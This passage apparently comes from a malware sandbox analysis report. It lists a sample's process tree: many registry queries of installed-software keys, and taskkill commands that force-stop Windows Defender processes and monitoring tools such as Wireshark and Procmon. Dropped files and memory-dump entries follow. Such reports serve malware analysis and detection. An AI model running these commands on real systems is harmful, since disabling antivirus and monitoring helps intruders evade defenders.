      "C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
      Kills process with taskkill
      PID:1560
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:892
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
        PID:1368
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
        PID:1784
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1932
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
        PID:1412
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
        PID:1672
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1816
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
        PID:1844
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
        PID:1968
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1924
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:64
        PID:1656
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:32
        PID:1372
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1576
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
        PID:2004
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
        PID:2012
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:576
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
        PID:1100
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
        PID:1572
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
      Kills process with taskkill
      PID:1952
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1312
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:64
        PID:1696
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:32
        PID:1948
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:848
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
        PID:804
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
        PID:1032
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:544
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
        PID:2024
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
        PID:1628
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1968
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
        PID:1840
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
        PID:1656
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:284
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:64
        PID:1880
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:32
        PID:2028
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1524
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:64
        PID:776
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:32
        PID:1936
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:660
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:64
        PID:1496
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:32
        PID:1576
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
      Kills process with taskkill
      PID:2032
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1504
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:64
        PID:1648
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:32
        PID:764
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1792
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:64
        PID:1904
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:32
        PID:1528
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:576
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:64
        PID:1532
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:32
        PID:1080
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1084
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:64
        PID:1368
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:32
        PID:1712
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1412
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:64
        PID:1260
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:32
        PID:1852
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1680
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:64
        PID:888
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:32
        PID:1644
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:268
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:64
        PID:2024
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:32
        PID:300
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
      Kills process with taskkill
      PID:760
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1876
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:64
        PID:1264
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:32
        PID:1480
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:524
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:64
        PID:1848
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:32
        PID:776
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1980
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:64
        PID:1588
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:32
        PID:1496
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1964
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:64
        PID:1988
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:32
        PID:1112
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1944
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:64
        PID:1620
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:32
        PID:1832
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1476
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:64
        PID:1904
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:32
        PID:1816
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1696
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:64
        PID:1080
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:32
        PID:796
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
      Kills process with taskkill
      PID:1992
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1952
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:64
        PID:1536
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:32
        PID:1384
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1332
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:64
        PID:300
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:32
        PID:1984
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1928
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:64
        PID:1892
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:32
        PID:2016
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1264
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:64
        PID:1940
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:32
        PID:1936
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:776
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
        PID:1920
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
        PID:332
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1604
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
        PID:1988
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
        PID:1052
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1168
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
        PID:1832
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
        PID:528
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1800
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:64
        PID:1804
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:32
        PID:1560
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1968
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
        PID:2012
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
        PID:1792
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:568
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:64
        PID:576
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:32
        PID:1976
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1680
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
        PID:1824
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
        PID:1876
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1368
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
        PID:2028
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
        PID:268
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1784
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
        PID:1796
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
        PID:796
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:888
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
        PID:1844
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
        PID:2024
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:608
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
        PID:1032
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
        PID:1628
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
      Kills process with taskkill
      PID:1380
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1692
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
        PID:1656
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
        PID:1100
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1924
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
        PID:1496
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
        PID:1112
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1988
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:64
        PID:1528
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:32
        PID:1832
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1056
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:64
        PID:1064
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:32
        PID:1560
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1524
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:64
        PID:1932
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:32
        PID:1084
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:576
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
        PID:1980
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
        PID:1944
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1876
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
        PID:524
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
        PID:1296
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1712
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
        PID:1796
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
        PID:1536
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
      Kills process with taskkill
      PID:1844
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
      Kills process with taskkill
      PID:1880
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
      Kills process with taskkill
      PID:2032
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
      Kills process with taskkill
      PID:1904
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
      Kills process with taskkill
      PID:1560
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
      Kills process with taskkill
      PID:1980
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
      Kills process with taskkill
      PID:1384
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Discovery
          Execution
            Exfiltration
              Initial Access
                Lateral Movement
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads
                    • C:\Users\Admin\.ntusernt.ini

                    • C:\Users\Admin\hmJMe\Desktop.ini

                    • C:\Users\Admin\hmJMe\Lwqbj.class

                    • \Users\Admin\AppData\Local\Temp\fiOhYxbdOQ2586014382808822519.xml

                    • memory/268-251-0x0000000000000000-mapping.dmp

                    • memory/268-190-0x0000000000000000-mapping.dmp

                    • memory/284-162-0x0000000000000000-mapping.dmp

                    • memory/284-99-0x0000000000000000-mapping.dmp

                    • memory/300-193-0x0000000000000000-mapping.dmp

                    • memory/300-220-0x0000000000000000-mapping.dmp

                    • memory/332-230-0x0000000000000000-mapping.dmp

                    • memory/344-56-0x0000000000000000-mapping.dmp

                    • memory/344-76-0x0000000000000000-mapping.dmp

                    • memory/524-281-0x0000000000000000-mapping.dmp

                    • memory/524-197-0x0000000000000000-mapping.dmp

                    • memory/528-87-0x0000000000000000-mapping.dmp

                    • memory/528-236-0x0000000000000000-mapping.dmp

                    • memory/544-156-0x0000000000000000-mapping.dmp

                    • memory/544-40-0x0000000000000000-mapping.dmp

                    • memory/568-243-0x0000000000000000-mapping.dmp

                    • memory/576-134-0x0000000000000000-mapping.dmp

                    • memory/576-277-0x0000000000000000-mapping.dmp

                    • memory/576-178-0x0000000000000000-mapping.dmp

                    • memory/576-244-0x0000000000000000-mapping.dmp

                    • memory/592-89-0x0000000000000000-mapping.dmp

                    • memory/592-28-0x0000000000000000-mapping.dmp

                    • memory/608-71-0x0000000000000000-mapping.dmp

                    • memory/608-258-0x0000000000000000-mapping.dmp

                    • memory/612-2-0x0000000000000000-mapping.dmp

                    • memory/660-168-0x0000000000000000-mapping.dmp

                    • memory/668-98-0x0000000000000000-mapping.dmp

                    • memory/760-192-0x0000000000000000-mapping.dmp

                    • memory/764-174-0x0000000000000000-mapping.dmp

                    • memory/764-110-0x0000000000000000-mapping.dmp

                    • memory/776-29-0x0000000000000000-mapping.dmp

                    • memory/776-102-0x0000000000000000-mapping.dmp

                    • memory/776-166-0x0000000000000000-mapping.dmp

                    • memory/776-228-0x0000000000000000-mapping.dmp

                    • memory/776-199-0x0000000000000000-mapping.dmp

                    • memory/796-69-0x0000000000000000-mapping.dmp

                    • memory/796-1-0x0000000000000000-mapping.dmp

                    • memory/796-215-0x0000000000000000-mapping.dmp

                    • memory/796-254-0x0000000000000000-mapping.dmp

                    • memory/804-51-0x0000000000000000-mapping.dmp

                    • memory/804-153-0x0000000000000000-mapping.dmp

                    • memory/844-52-0x0000000000000000-mapping.dmp

                    • memory/848-80-0x0000000000000000-mapping.dmp

                    • memory/848-151-0x0000000000000000-mapping.dmp

                    • memory/888-188-0x0000000000000000-mapping.dmp

                    • memory/888-255-0x0000000000000000-mapping.dmp

                    • memory/892-114-0x0000000000000000-mapping.dmp

                    • memory/1032-42-0x0000000000000000-mapping.dmp

                    • memory/1032-155-0x0000000000000000-mapping.dmp

                    • memory/1032-259-0x0000000000000000-mapping.dmp

                    • memory/1032-25-0x0000000000000000-mapping.dmp

                    • memory/1036-3-0x0000000000000000-mapping.dmp

                    • memory/1052-233-0x0000000000000000-mapping.dmp

                    • memory/1052-31-0x0000000000000000-mapping.dmp

                    • memory/1056-271-0x0000000000000000-mapping.dmp

                    • memory/1056-66-0x0000000000000000-mapping.dmp

                    • memory/1064-272-0x0000000000000000-mapping.dmp

                    • memory/1080-90-0x0000000000000000-mapping.dmp

                    • memory/1080-180-0x0000000000000000-mapping.dmp

                    • memory/1080-213-0x0000000000000000-mapping.dmp

                    • memory/1084-276-0x0000000000000000-mapping.dmp

                    • memory/1084-68-0x0000000000000000-mapping.dmp

                    • memory/1084-181-0x0000000000000000-mapping.dmp

                    • memory/1100-4-0x0000000000000000-mapping.dmp

                    • memory/1100-264-0x0000000000000000-mapping.dmp

                    • memory/1100-136-0x0000000000000000-mapping.dmp

                    • memory/1112-63-0x0000000000000000-mapping.dmp

                    • memory/1112-83-0x0000000000000000-mapping.dmp

                    • memory/1112-267-0x0000000000000000-mapping.dmp

                    • memory/1112-205-0x0000000000000000-mapping.dmp

                    • memory/1168-57-0x0000000000000000-mapping.dmp

                    • memory/1168-234-0x0000000000000000-mapping.dmp

                    • memory/1168-30-0x0000000000000000-mapping.dmp

                    • memory/1260-106-0x0000000000000000-mapping.dmp

                    • memory/1260-185-0x0000000000000000-mapping.dmp

                    • memory/1260-10-0x0000000000000000-mapping.dmp

                    • memory/1264-225-0x0000000000000000-mapping.dmp

                    • memory/1264-195-0x0000000000000000-mapping.dmp

                    • memory/1296-44-0x0000000000000000-mapping.dmp

